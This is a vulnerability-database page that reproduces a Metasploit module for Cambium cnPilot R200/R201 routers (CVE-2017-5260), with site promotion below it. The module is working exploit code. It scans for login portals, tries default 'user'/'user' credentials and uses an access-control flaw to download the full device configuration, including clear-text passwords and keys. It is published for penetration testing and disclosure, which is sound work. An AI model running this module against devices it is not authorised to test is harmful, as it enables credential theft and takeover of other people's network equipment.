Lucene search
K

Cambium CnPilot R200/r201 Login Scanner And Config Dump

🗓️ 01 Sep 2024 00:00:00Reported by Karn Ganeshen, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 160 Views

Cambium cnPilot R200/R201 Login Scanner and Config Dump module for Metasploi

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-5260
29 May 201815:50
circl
CNVD
Cambium Networks cnPilot Direct Object Reference Elevation of Privilege Vulnerability
21 Dec 201700:00
cnvd
CVE
CVE-2017-5260
20 Dec 201722:00
cve
Cvelist
CVE-2017-5260
20 Dec 201722:00
cvelist
Metasploit
Cambium cnPilot r200/r201 Login Scanner and Config Dump
18 Dec 201722:32
metasploit
NVD
CVE-2017-5260
20 Dec 201722:29
nvd
Prion
Design/Logic Flaw
20 Dec 201722:29
prion
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::CNPILOT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cambium cnPilot r200/r201 Login Scanner and Config Dump',  
'Description' => %{  
This module scans for Cambium cnPilot r200/r201 management login  
portal(s), attempts to identify valid credentials, and dump device  
configuration.  
  
The device has at least two (2) users - admin and user. Due to an  
access control vulnerability, it is possible for 'user' account to access full  
device config. All information, including passwords, and keys, is stored  
insecurely, in clear-text form, thus allowing unauthorized admin access to any  
user.  
},  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'  
],  
'References' =>  
[  
['CVE', '2017-5260'],  
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']  
],  
'License' => MSF_LICENSE  
)  
)  
  
register_options(  
[  
OptInt.new('TIMEOUT', [true, 'HTTP connection timeout', 10]),  
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.  
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'user']),  
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'user'])  
], self.class  
)  
end  
  
def run_host(ip)  
unless is_app_cnpilot?  
return  
end  
end  
  
#  
# Login & initiate dump_config  
#  
  
def run_login  
each_user_pass do |user, pass|  
cookie = do_login(user, pass)  
if cookie == 'skip'  
# do nothing  
else  
dump_config(cookie)  
end  
end  
end  
  
#  
# Dump device configuration  
#  
  
def dump_config(the_cookie)  
res = send_request_cgi(  
{  
'uri' => '/goform/down_cfg_file',  
'method' => 'GET',  
'cookie' => the_cookie,  
'headers' => {  
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'  
}  
}  
)  
  
if res && res.code == 200 && res.headers['content-disposition']  
print_status("#{rhost}:#{rport} - dumping device configuration")  
print_good("#{rhost}:#{rport} - Configfile.cfg retrieved successfully!")  
loot_name = 'Configfile.cfg'  
loot_type = 'text/plain'  
loot_desc = 'Cambium cnPilot Config'  
path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body, loot_desc)  
print_good("#{rhost}:#{rport} - File saved in: #{path}")  
else  
print_error("#{rhost}:#{rport} - Failed to retrieve config. Set a higher HTTPCLIENTTIMEOUT and try again.")  
return  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation